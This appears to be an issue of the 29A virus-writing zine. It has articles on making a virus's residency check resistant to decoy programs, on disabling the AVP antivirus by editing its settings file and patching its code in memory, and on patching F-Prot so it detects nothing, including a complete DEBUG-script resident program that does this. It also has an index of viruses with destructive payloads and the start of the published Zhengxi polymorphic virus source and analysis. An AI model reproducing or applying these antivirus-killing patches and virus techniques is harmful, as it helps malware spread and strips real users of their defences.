ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:3593 BF84FF MOV DI,FF84 º

º 15E8:3596 BB3458 MOV BX,5834 º º 15E8:3599 33C0 XOR AX,AX º º 15E8:359B F607FF TEST Byte Ptr [BX],F F º >>15E8:359E 7415 JZ 35B5 -> JNZ 35B5 << º 15E8:35A0 8A4701 MOV AL,[BX+01] º º 15E8:35A3 0006A4FF ADD [FFA4],AL º º 15E8:35A7 8A4702 MOV AL,[BX+02] º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:35AE 3AC4 CMP AL,AH º º 15E8:35B0 7403 JZ 35B5 º º 15E8:35B2 8AE0 MOV AH,AL º º 15E8:35B4 AA STOSB º º 15E8:35B5 83C306 ADD BX,+06 º º 15E8:35B8 81FB4A5A CMP BX,5A4A º >>15E8:35BC 72DD JB 359B -> JA 359B << º 15E8:35BE C3 RET º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:105B C606A4FF00 MOV Byte Ptr [FFA4] ,00 º º 15E8:1060 33C0 XOR AX,AX º º 15E8:1062 AA STOSB º º 15E8:1063 B007 MOV AL,07 º º 15E8:1065 803EA4FF06 CMP Byte Ptr [FFA4] ,06 º >>15E8:106A 7206 JB 1072 -> JA 1072 << ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º º º 15E8:107D E80445 CALL 5584 º º 15E8:1080 F606195604 TEST Byte Ptr [5619] ,04 º º 15E8:1085 7406 JZ 108D º º 15E8:1087 C70650840000 MOV Word Ptr [8450] ,0000 º º 15E8:108D F7065084FFFF TEST Word Ptr [8450] ,FFFF º >>15E8:1093 7408 JZ 109D -> JNZ 109D << º 15E8:1095 B005 MOV AL,05 º º 15E8:1097 E8941B CALL 2C2E º º 15E8:109A E9E900 JMP 1186 º º 15E8:109D 803EA4FF40 CMP Byte Ptr [FFA4] ,40 º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Blade Runner/29A Los Angeles, 2019

Installation check ************************************************** ***********************> The Slug

No one does a resident virus with no installatio n check to see if it's already in memory; the problem is that many tim es this action can turn back to it.

The most common form a virus has in order to che ck for its residence is by means of a call to a service in some interrupti on, normally inexistent that the virus creates for the occasion. When it gets to be executed, it calls the service with some kind of value in a r egister, and checks the answer for another one; if the value it expected g ets returned, then it's memory resident; if not, it'll proceed.

Here's where we build the typical lame program th at will answer the ins- tallation checks of several viruses we want, be ing therefore immune to them... nasty, don't you think? }:)

The following technique tries to make much more difficult this trick... i'll explain it with some detail:

The start code for the virus remains the same, exc ept that it generates a random number inside its own code; this number g ets onto the interrupt service (BX, in this case). This is, we'd have som ething like this:

; *********************** virus body ************* ***********************

start: call sigins sigins: pop si sub si,offset(sigins) . . . . . resid: push es xor bx,bx ; Check if it's resident mov es,bx mov bl,es:[046ch] ; BL <- random value add bx,84 pop es mov cs:si+numbyt,bx ; Keep t he value

mov ah,0aah int 21h

cmp ah,0bbh jne goon ; In cas e it's not resident

mov bx,cs:[si+numbyt] ; Check if it's being tricked cmp cs:[bx+si],al je aprog1 ; If it' s really resident jmp death ; If it' s being reicked . . . . . code ends end start

; ************************************************ ***********************

Now, we're just left with writing the part of th e interruption service service which will return the byte's random value ; in this case, 0bbh is returned in AH and the byte in AL:

; *************** interruption service (in int 21h ) *********************

int_21h: pushf cmp ah,0aah ; Reside nce service jne sigue

popf mov ah,0bbh ; Alread y resident code mov al,cs:[bx] ; Value of a code position iret

sigue: . . .

; ************************************************ ***********************

This way, each time we call the service, as well as asking for the code, it asks for the value at position x, being x a r andom offset inside its own code. Once this is returned we try to see if w e've been correctly an- swered, otherwise... }:)

NOTE: main code keeps a copy in a variable of the random value it genera- tes, and that is what it uses to avoid bein g tricked by changing the value it passes by.

Now, it isn't that easy the damn lame resident pr ogram, cause, at least, it must have a copy of the virus in memory; moreov er, if we had variables in the middle of the code this wouldnt be exact, so the program wouldn't be safe at all, having also a random activation ro utine :)

uhmm, I love this job The Slug/29A

AVP 2.2 naked ************************************************** ***********************> Mister Sandman

We all know AVP is the best antivirus in the wo rld, no doubt about it. The most complete, the most reliable, above all, the most professional, but... is it also the safest? the answer is no :)

We also know there's no antivirus invulnerable t o a good codefuck. What we'll do with this report is to show some -unti l know- secret holes in AVP, and how to exploit them in order to write new retro functions.

KERNEL.AVB ********** AVP uses a detection scheme based on a sort of ant iviral databases, which contain the necessary data (search strings, decryp tion routines, cleaning info...) for detecting and disinfecting viruses. They're predefined, and these are their names:

CA.AVB ; AVP's heuristics (code a nalyzer) EXTRACT.AVB ; Decompression routines ( ZIP, ARJ, RAR...) KERNEL.AVB ; AVP's kernel database MACRO.AVB ; Macro viruses detection TROJAN.AVB ; Trojan detection UNPACK.AVB ; Unpacking routines (PkLi te, Diet...)

V_YYMMDD.AVB ; Main base, with all the viruses UPYYMMDD.AVB ; Weekly updates

All these databases are defined in AVP.SET, which is the file AVP reads before loading the them. Here is where AVP prob lems start... there's a good point to attack its kernel, because it cont ains all the necessary info about how to use the rest of the antiviral databases. Without it, AVP can't detect any virus, because it doesn't kn ow how to interpret the data stored there... it's enough to comment it ou t from AVP.SET by means of a semicolon in order to knock out AVP; even if KERNEL.AVB is loaded b4 the rest of the databases, in other than first pos ition.

It would be enough to have a simple resident pr ogram (which might be a virus, of course) which would intercept function 4bh of int 21h and test for AVP.EXE; when being this file executed, it' d only have to open and modify AVP.SET by replacing the first character (K ERNEL.AVB's "K") with a semicolon (;). Being executed in this way, AVP wou ld detect *NOTHING*.

Another interesting method is to change the DX va lue when AVP's about to read AVP.SET; instead of the original value (0004 ), we might enter 0010, so it would point to the second line of AVP.SET, s kipping KERNEL.AVB.

As a last thing, have a look at Tcp's AVP-Aids and at my AntiCARO... they both fool AVP in order to exploit some bugs which favour the spreading of our viruses :)

Of course, due to the basereading system AVP use s, we can fuck the heu- ristic scanning (CA.AVB), the main virus database (V_YYMMDD.AVB), etc.

MODIFICATIONS ON THE FLY ************************ Another head-breaking problem for AVP. We're stil l trying to avoid the AVP detection, this time in a less abrupt method, which consists on modi-

fying the executable itself in memory. Intercep ting the open and read functions, after some tracing, we reach a key po int: a couple of condi- tional jumps, with which AVP decides whether a fi le is infected or not. Let's have a look at them:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º 2B9C:00D3 55 PUSH BP º º 2B9C:00D4 8BEC MOV BP,SP º º 2B9C:00D6 56 PUSH SI º º 2B9C:00D7 8B760A MOV SI,[BP+0A] º º 2B9C:00DA C45E06 LES BX,[BP+06] º º 2B9C:00DD 26837F0A00 CMP Word Ptr ES:[BX +0A],+00 º º 2B9C:00E2 7506 JNE 00EA <* F irst jump ********¿ º º 2B9C:00E4 33D2 XOR DX,DX ³ º º 2B9C:00E6 33C0 XOR AX,AX ³ º º 2B9C:00E8 EB53 JMP 013D ³ º º 2B9C:00EA C45E06 LES BX,[BP+06] ³ º º 2B9C:00ED 26C45F19 LES BX,ES:[BX+19] ³ º º 2B9C:00F1 8BC6 MOV AX,SI ³ º º 2B9C:00F3 D1E0 SHL AX,1 ³ º º 2B9C:00F5 03D8 ADD BX,AX ³ º º 2B9C:00F7 26833F00 CMP Word Ptr ES:[BX ],+00 ³ º º 2B9C:00FB 742A JZ 0127 <* Se cond jump ********Ù º º 2B9C:00FD 33C0 XOR AX,AX º º 2B9C:00FF 50 PUSH AX º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ok... it's rather obvious that we have to modify the first jump, but... ohhh, little fucking surprise; AVP stops its sca nning and displays the following message:

General protection fault at ED22:050B ;-)

Hoho... watch out... the old russian bearded beer drinker has implemented a protection routine in its code! and i recognize that i had a lot of fun when i saw that winking smiley... ok, one point fo r Kaspersky :)

Nevertheless, if we 'touch' the second jump (74 -> 75, so the jz turns into a jnz), there's no stupid message and AVP's detection is completely blowed out... it will continue scanning without no ticing any infection... Mister Sandman scores and ties ;)

Anyway, if you don't wanna spend so many time ( five minutes :) tracing thru AVP's code, just use this other way to reach the same result by fo- llowing a simpler method. Your weapon will be Gam eTools or any other de- bugger able to intercept functions on the fly. S tart intercepting every open with 3dh/int 21h; then intercept the file read (3fh/int 21h), and start tracing AVP's code as soon as it gets interc epted:

ÉÍÍÍ INTERNAL DEBUGGER ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º 1610:0C14 B43F MOV AH,3F <* intercepted function º º 1610:0C16 8B5E06 MOV BX,[BP+06] º º 1610:0C19 8B4E0C MOV CX,[BP+0C] º º 1610:0C1C C55608 LDS DX,[BP+08] º º 1610:0C1F CD21 INT 21 º º 1610:0C21 1F POP DS º º 1610:0C22 7202 JB 0C26 [...] º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Once you've got this, just change b43f for b43c, so AVP will close the file instead of reading from it... the result will be that, as usual, AVP won't detect any virus. This method is a bit bull y, but you'll save some time and the result will be the same :)

Oh, btw... i was gonna forget it... Mister Sandman , 2; Kaspersky, 1 ;-P

WILD TROJANS ************ Another of the resources in order to fuck AVP i s using trojans, albeit from here on, imagination is worth it. The twiste r ideas you have, the better and more original results you get ;)

These are two of the ideas i've practised (i can't include their code as it's destructive and goes against the rules of 29A ) :)

þ Check every time AVP opens and reads from a file ; then, trunk this file by using 3ch/int 21h... in this way, every fi le scanned by AVP will turn into a 0 byte file :*)

þ Intercept AVP scanning and then infect, or even overwrite the file it's being scanned with a tiny virus... Trivial.22, f or instance :)

MODIFICATIONS ON THE EXECUTABLE ******************************* Just note one more. In the AV community (sect?), the ratio between the stupidity of the sanity check is directly proporti onal with the stupidity of its author. And Kaspersky is part of that AV co mmunity, of course :)

As he ain't a dork at all, the sanity check is qu ite original and effec- tive. It just consists on a simple comparison of the address of the ori- ginal entry point with the actual one.

What does this mean? oh, well... just stop and t hink for a while about viruses which don't modify the entry point of the file they infect ;)

As you can see, all it takes is some knowledge on how AVP behaves and so- me imagination to exploit its bugs. I stopped comm enting the AVP.EXE dis- assembly, as AVP 3.0 will be released very soon, and its kernel has been written in ASM, so it will be much easier to exp lore than the code of previous versions, which was written in C++ <g>, and be sure that i'll bring you more news and bugs on it in 29A#2 ;)

Mister Sandman, bring me a dream.

Chilling Fridrik ************************************************** ***********************> Blade Runner

The reason of writing this article is that i r ealised that i've never seen how to fool F-Prot in any virus magazine... and as i like to be o- riginal, i decided to have a look at it and try t o do some modifications in its code so it won't detect any virus... and i got it :)

And believe me that it's quite easy to do... just keep reading the arti- cle and try it by yourself following the next step s :)

Ok, F-Prot, unlike TbScan, uses int 21h for openi ng, reading, and so on, that is, for scanning files for any infection. Whe n it reads from a file, it does it holding the next values:

AX=3f00h BX=0008h CX=0800h

Since we know this, it's very easy for us to inter cept this kind of calls to the int 21h with something like this:

new_int_21h: cmp ax,3f00h jne jump_back

cmp bx,8 jne jump_back

cmp cx,800h je fprot_read

jump_back: db 0eah old_int_21h dw ?,?

Once we know that it's a F-Prot read, we can star t doing our work... the unique things we must do for it to don't detect ab solutely anything is to bypass the secure scan and the two types of heur istic scanning it uses. Let's see the way in which we can do this thingy : )

²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Secure method ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²

803FD0 CMP BYTE PTR [BX],D0 >7519 JNZ 0123 <<< change this for JZ C41E502D LES BX,[2D50] 26 ES: 807F01CF CMP BYTE PTR [BX+01],CF >750E JNZ 0123 <<< change this for JZ 9AF500C136 CALL 36C1:00F5

C706D64B0000 MOV WORD PTR [4BD6],0000 C706D44B0000 MOV WORD PTR [4BD4],0000 C41E502D LES BX,[2D50] 26 ES: >803FFF CMP BYTE PTR [BX],4D <<< change 4dh for 0ffh 750B JNZ 0121 C41E502D LES BX,[2D50]

26 ES: 807F015A CMP BYTE PTR [BX+01],5A 742A JZ 014B

²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² First heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²

9A2605AF1F CALL 1FAF:0526 0BC0 OR AX,AX >740E JZ 0117 <<< change this for jnz FF36E43D PUSH [3DE4] 9A0000794A CALL 4A79:0000

²²²²²²²²²²²²²²²²²²²²²²²²²²²² ²² Second heuristic ²² ²²²²²²²²²²²²²²²²²²²²²²²²²²²²

833EBF5500 CMP WORD PTR [55BF],+00 >7402 JZ 0109 <<< change this for jnz EB32 JMP 013B 81FE8713 CMP SI,1387 7524 JNZ 0133

And that's all, folks... since this five bytes ha ve been changed, F-Prot will *NOT* detect any virus. As a last thing i'l l include the complete routine, though it's a trivial thing, so you can i mplement it in your re- tro code; as i always use debug for coding, i thi nk you'll have to adapt it, but anyway... :)

And don't ask me why do i always use debug for coding instead the tra- ditional .ASM text file and TASM or A86... :)

>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8na-fp.coma100 jmp 0174

a110cmp ah,3fjz 0117jmp 0125cmp bx,+08jz 011ejmp 0125cmp cx,0800jz 0130nopcs:jmp far [0103]

a130push axpush bxpush cxpush dxpush ds

mov ax,sssub ax,3295mov ds,axmov bx,01a2mov cl,f0mov [bx],clmov cl,74mov bx,042bmov [bx],clmov bx,0420mov [bx],clmov ax,sssub ax,3521mov ds,axmov bx,03e8mov cl,75mov [bx],clmov ax,sssub ax,17c7mov ds,axmov bx,0347mov [bx],clpop dspop dxpop cxpop bxpop axcs:jmp far [0103]

a174 mov dx,197mov ah,9int 21mov ax,3521int 21mov [0103],bxmov [0105],esmov dx,0110mov ax,2521int 21mov dx,0174int 27

a197db "F-Prot won't detect any virus","$"db " (c) Blade Runner/29A, 1996 ","$"

rcxbewq>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Blade Runner/29A Los Angeles, 2019

Virus index ************************************************** ***********************> Mister Sandman

Zhengxi.7313 ************ Author : Unknown (well, hehe... ;) Origin : Russia Objectives: EXE (standard, Pascal/C, SFX), OBJ and LIB. Besides, Zhengxi inserts COM droppers into ZIP, ARJ, R AR and HA archives with the stored method Hooks : int 21h and int 25h, with redirectio n and UMB residency; it doesn't go resident under certain cond itions Behaviour : full stealth, highly polymorphic (encr ypted with two polymor- phic loops), uses a CRC32 generator fo r every data comparison it makes. It has a trigger routine, w ith deletes all the fi- les of all the drives under certain c onditions. This is pro- bably the best virus ever.

V.6000 ****** Author : Unknown Disasm by : Tcp/29A Origin : Unknown Objectives: EXE, COM, MBR and boot sectors (multip artite) Hooks : int 8, 13h, 17h, 1ch, 20h, 21h, 25h, 2 6h, 27h Behaviour : under certain conditions, depending on some internal counters and on the way it's being executed (u nder debugger), it era- ses the CMOS and the hard drive sector s. It also stays memory resident after any kind of reboot tha nks to this trick: when it infects MBR, it stores the drives info from the CMOS, and then sets these values to zero. When it detects any disk ac- ccess, it restores the original CMOS on the fly, so the user can't remark any change. If the user tries to do any kind of boot, as the CMOS values are set to ze ro, the MBR will recei- ve the control, and it will restore t hese values, making po- ssible to boot from the floppy drive a s usual. Polymorphic :)

TS.1423 ******* Author : Unknown Disasm by : Tcp/29A Origin : Spain Objectives: COM and EXE files (infects on file clo sing) Hooks : int 13h, int 21h Behaviour : its encryption routine is based on t racing code via int 1, fully antidebugging. It doesn't infec t *AN.*. If the year is above 1995, it will mark clusters as bad, and on fridays, it will change disks writes to verificati ons. UMB residency.

Remolino.968 ************ Author : Trumpet WinCock Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : a new infection way... neither over writing, nor appending, nor prepending, nor ap-pre-pending... guest :) It looks for some unused code in their victims big enough to hold the vi- ral code, and if there's enough room f or it, it copies itself

there without doing any change in th e file length. It has a payload which displays a whirlscreen e ffect, which became ra- ther famous (it was even used by NuKE in their zines).

Torero ****** Author : Mister Sandman/29A Origin : Spain Objectives: COM files Hooks : int 13h, int 21h Behaviour : it has two peculiarities: first, it d oesn't store the origi- nal header of the files it infects in to its body, but into a newly discovered (by AVV and me) zone of ten free bytes, in the directory entry of the file. And second, it uses the 8th attribute bit as infection mark, maki ng the infection checks much more simple, reliable and antiheu ristic.

Internal Overlay **************** Author : Tcp/29A Origin : Spain Objectives: COM and EXE files Hooks : int 21h Behaviour : it infects COM and EXE files without m odifying their headers, bypassing lots of CRC security progra ms which just check the file header. It does this by appending an internal overlay to the file and writing an overlay loader at the entry point. It infects, then, EXE files with interna l overlays, but NOT if any of the relocation items is locat ed in the entry point, unless this item is found at offset 7 (it would be a PkLited file) ;)

Cri-Cri ******* Author : Griyo/29A Origin : Spain Objectives: COM, EXE and floppy drives (multiparti te) Hooks : int 3, 13h, 21h Behaviour : full stealth, as it redirects reads t o infected sectors and files to the original ones, highly po lymorphic, it won't in- fect files with any V in their name , files with the actual day date, and some AV executables. It has a payload which display a message on the screen.

TheBugger ********* Author : The Slug/29A Origin : Spain Objectives: COM files Hooks : int 1, 3, 21h, 0cdh, with redirection Behaviour : its peculiarity consists in that it g ets a random number be- tween 2 and 5 (x) and starts tracing i ts victim until it rea- ches the call number 'x' :) and the n infects that call. It uses a new tunneling routine based on an old one (the int 30h trick), bypassing the AH < 24 limit a nd finding the original int 21h vector address. Besides, it us es an antilamer install check which detects if the user is tr ying to deceive it with one of those lame programs which just return the virus resi- dency value so the virus doesn't go re sident again... TheBug-

ger avoids this by doing a random byt e comparison, and if it detects that the user is trying to dec eive it, executes a si- mulated HD formatting routine and disp lays a message.

Apocalyptic *********** Author : Wintermute/29A Origin : Spain Objectives: COM and EXE files Hooks : int 3 and int 21h, with redirection Behaviour : it's a stealth COM and EXE infector w hich disables TbDriver on every execution; it skips F-Prot's stealth detection engi- ne, and if the system date is equa l to july 26th, it will show all the files in with 29Ah as len gth.

AVP-Aids ******** Author : Tcp/29A Origin : Spain Objectives: COM files Hooks : nothing, it's a runtime infector Behaviour : AVP-Aids proves the capabilities to wr ite and spread viruses using AVPRO's API functions. It inser ts a new viral database into AVP; this database will make AVP to delete F-Prot, Scan and TbScan when being scanned. Beside s, AVP won't detect any virus, favouring the appeareance of op portunist infections by other viruses.

AntiCARO ******** Author : Mister Sandman/29A Origin : Spain Objectives: COM files Hooks : int 21h Behaviour : it's just a 'joke' virus to protest ag ainst Vesselin Bontchev and the way in which CARO and this suc ka name the viruses. As AVP is Bontchev's favourite AV, AntiCA RO will modify it so it (AVP) will detect VLAD's Bizatch as 'Bizatch_:P' and not as Boza. About the virus itself, it's ju st a TSR COM infector which uses SFTs for performing its inf ection routines.

Galicia Kalidade **************** Author : Leugim San/29A Origin : Spain Objectives: WinWord documents Behaviour : it's an encrypted macro infector which hits documents on clo- sing. Besides, it has two peculiaritie s: it's the tiniest ma- cro infector ever, and it contains a trigger routine; if it finds the text chain 'dir a:' in any d ocument, it will delete MSDOS.SYS and IO.SYS, and then display a message box.

Mister Sandman, bring me a dream.

; Ú**********************¿; ³ Zhengxi.7313 ³Û; ³ original source code ³Û; ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ;;; At last... the source of the most complex virus ever is published in a; virus magazine. And we're glad that the fortunat e magazine is 29A :) You; are stepping with the reader cool smooth scrol l through the original; source code of the best of the three versions (72 71, 7307, 7313) of Zhen-; gxi. This source code, as the compiled version of the virus itself, is; quite hard to understand. Anyway, i decided to l eave the source code 'as; is', albeit some weeks ago i started making it u p a bit and commenting; some uncommented code so it would be more easy an d clear to read. At last; i decided to stop spending my time on this and g ive you the *truly* ori-; ginal source code, so you can know the way in wh ich its author coded it,; you can read the original comments (some of them in russian), and so on.;; The original source code is formed by some ASI, ASM and INC files, which; make the virus compiling harder than the virus coding itself :) That's; why i included a ZIP which contains the compiled version of Zhengxi.7313.;; I must give thanks to the author of this rocking virus because of the su-; permarvel he coded and for releasing the origin al source code (btw, he; seems to have a great sense of humour :), and to the friend who gave this; jewel to me, who wishes to remain anonymous. As a last thing, for those; who still don't know what does Zhengxi do (!), h ere's a very good report; about the Zhengxi virus family, written by Eug ene Kaspersky, who, btw,; should use the money he earns with AVP for taking some english classes :);;; **´ Zhengxi family Ã***************************** ************************;; This is the family of very dangerous, polymorphi c and stealth parasitic; viruses. These viruses are more that 7k of len gth, very complex, maybe; the most complex DOS viruses. These viruses inf ect EXE, OBJ and LIB fi-; les, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viru-; ses contain the text strings:; ; Abnormal program termination ; The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd ; Warning! This program for internal use only! ; ;; Installation ; ************ ; The virus code receives the control from diffe rent points depending on; the infection way, but in all cases the destina tion is the polymorphic; decryption routine. In EXE files (appending) the decryption routine re-; ceives the control immediately when EXE file is loaded into the memory; for execution; in EXE files (inserting), from th e loader code (see EXE; infection); in the files linked with infected OB J/LIB files, from a call; instruction (see OBJ/LIB infection); the COM drop pers have a jmp instruc-; tion at their beginning, which brings the contro l to the decryption rou-; tine. ; ; Being decrypted, the virus installation routine s receives the control.; The virus hooks int 1 (one step tracing), and tr aces int 21h. While tra-; cing, the virus looks for some specific code wi thin the int 21h handler; (that code is present in DOS 5.x and DOS 6.x). If such code is found, the; virus checks several conditions, and terminates i nstallation in some ca-; ses. These cases are the ones below: ;

; - Microsoft Windows is installed ; - Boot drive is A: or B: ; - Int 8, 13h, 28h point to the same segment (to exit installation if any; antivirus monitor is installed?) ; - Host file's day (date and time stamp) is the s ame or near the current; day (if the two highest bits of current day nu mber xored with the file; day is equal to zero) ; ; Then the virus allocates the block of the system memory for the virus TSR; copy, stores in its body 11 bytes from the addres s of the int 21h handler; and patches int 21h code with a far call instr uction (2f ff 1e ?? ??),; which brings the control to the int 25h handl er (absolute disk read).; Then the virus stores the first five bytes of in t 25h handler and writes; there other five bytes, which become the far jmp to the virus code. The; result looks like follows: ; ; int 21h handler:; ... ...; Ú********* 2e ff 1f ???? call far cs:int_25h; ³ c7 06 ???? ; Magic word?; ³ int_25h: ???? ???? ???? ???? ; Far addr of int 25h; ³ ... ...; ³; À> int 25h handler:; Ú********* ea ???? ???? jmp far virus_handl er; ³ ... ...; À> virus handler:; 2e 8f 06 ... pop cs:caller_ip; ... ...; ; As result, the virus has the same handler to in tercept both int 21h and; int 25h calls. To separate these calls, Zhengxi c hecks the address of the; caller (the caller_ip). If the call goes to the int 21h handler, the vi-; rus passes the control to its int 21h handler ro utine; in another case,; the virus int 25h handler receives the control. ; ; The installation routine is complete, but the vir us can move its code to; other memory blocks (see int 21h handler analys is). So, the TSR copy of; the virus does not occupy the same blocks of th e system memory, but may; move itself to other addresses, including UMB one s. ; ; Then the virus returns the control to the host p rogram. There are three; different variants of such return, and they dep end on the infection me-; thod. In case of a COM dropper the virus just dis plays this message: ; ; Abnormal program termination ; ; And returns to DOS with the terminate function (i nt 21h, ah=4ch). In case; of the EXE-appending infection method the virus r estores the original fi-; le header by using its polymorphic engine (gener ates the polymorphic de-; cryption routine, and executes it for restoring the original header (see; EXE infection below). In case of the EXE-insertin g way the virus just re-; turns to the host program because the virus loade r inserted into the file; restores the original code itself. In case of b eing an OBJ/LIB file the; virus also just returns to the host (see OBJ/LIB infection below).; ;; Int 21h handler ; *************** ; Zhengxi intercepts 18 int 21h functions:;; 3dh, 6ch - Open/create file; 3eh - Close file

; 3fh - Read file; 42h - Lseek; 4bh - File execution; 41h - Delete file; 11h, 12h - Findfirst/findnext FCB; 4eh, 4fh - Findfirst/findnext ASCII; 00h, 4ch - Terminate; 31h - Terminate and stay resident; 67h - Set handle count; 48h, 49h, 4ah - Memory managing functions (allo cate, free, resize); ; The set handle count, file execution and memory m anaging functions are u-; sed by the virus to hide its code into the system memory (Zhengxi manipu-; lates MCB blocks to remain invisible on the memor y map while using memory; browsing utilities).; ; While intercepting terminate, TSR and free memor y DOS functions, Zhengxi; moves its code to a new address in the system mem ory. The virus allocates; a new memory block (may be a conventional or UM B memory block), and co-; pies itself there. So, while installing, the vir us does not affect UMB; blocks to place its TSR copy, but then it may mov e into UMB, and hide it-; self there. ; ; While file opening the virus performs several dif ferent calls. First, the; virus checks the opening mode, and if the file is opened for writing, the; virus disinfects the file. ; ; Before disinfection the virus checks the file is being accessed, and the; program that is accessing that file (the caller) . The virus compares the; name of this program or caller with a name list ( see below), and does not; disinfect the accessed file if the caller name is found in that list.; ; UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, D IET.EXE, AFD.EXE, SD.EXE; SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE; ; In case of the ah=3d00h function (open read-only) the virus performs some; strange actions. It scans the caller code and p atches it. It looks like; patching some antivirus scanner. Fortunately, th e virus has a bug, and; that branch is never executed. ; ; While opening the file, the virus also brings th e control to its stealth; routine: it replaces the file length with the ori ginal one. ; ; While reading from a file, Zhengxi calls the ste alth routine. In case of; reading from the header of the infected file t he virus reads, decrypts; and copies the original header into the reading b uffer. ; ; In case of the lseek function the virus brings t he control to other of; its stealth routines: it doesn't allow to seek ou t of the original file; length. ; ; While deleting an infected file, the virus disinf ects it. ; ; While looking for files with findfirst/findnext, Zhengxi replaces the fi-; le length with the original one if the file is in fected.; ; Findfirst/findnext ASCII calls are also used by the virus to catch files; for infection. The virus saves the name of any fi le that is accessed with; the findfirst function, and approximately each 5t h file (with probability; 3/16) accessed with the findnext function. The v irus has only one buffer; for the file name, so every next name overwrites the previous one.; ; While closing any file the virus checks and infec ts it with the name that

; that is stored in the buffer. The virus also infe cts the file that is be-; ing closed, but is does it with probability 1/ 4 (by the result of its; random generator).; ; ; Infection ; ********* ; Before infecting a file, Zhengxi checks several c onditions: ; ; - The file is not "just created", by comparing the current day number; with the file date and time stamp (as while ins talling itself) ; - The file is local, and not on A: or B: drive ; - The file name is not *.?V? (*.OVL) ; - There is enough free disk space (it checks this with int 21h, ah=36h); ; If all this is ok, the virus reads the file heade r and checks it for EXE,; OBJ, LIB and archives stamps. ; ;; Infecting EXE files ; ******************* ; Zhengxi infects EXE files by using three differ ent infection methods:; appending, inserting, and infecting archives in s elf-extracting files.; ; At first, the virus checks the file structure, and if it is a self-ex-; tracting EXE file (created by ZIP2EXE, for insta nce), Zhengxi infects it; using the same method it uses when infecting arch ives (ZIP, ARJ, HA, RAR); that is, creating a COM dropper and adding it to the archive contents.;; Then the virus checks the file length, and does n't infect files with a; length lesser than 400h (1024) bytes. If the leng th of the loadable modu-; dule (note: not the file length) is larger that 3 2k, Zhengxi inserts its; own loader int the middle of the file. In other c ase, it infects the file; by the appending method. ; ; While infecting files by the appending method, Zh engxi reads file header,; encrypts and saves it to the end of the file. T hen it runs its polymor-; phic generator, and saves the encrypted virus b ody and the polymorphic; loops to the end of the file. For finishing the file infection, Zhengxi; increases the file length to a value that divid ed by 9dh gives 25h as; rest (this is the virus ID stamp, its infection mark), and modifies the; EXE header fields (registers and module length). ; ; Note: Zhengxi encrypts the original host header with the polymorphic en-; cryption loop, and that loop is different that the routine it uses for; encrypting the virus body. Then, the virus calls its polymorphic engine; twice: while encrypting the original EXE header, and while encrypting the; main body. ; ; While executing an infected EXE file, the decry ption loop restores the; main virus body, but not original file 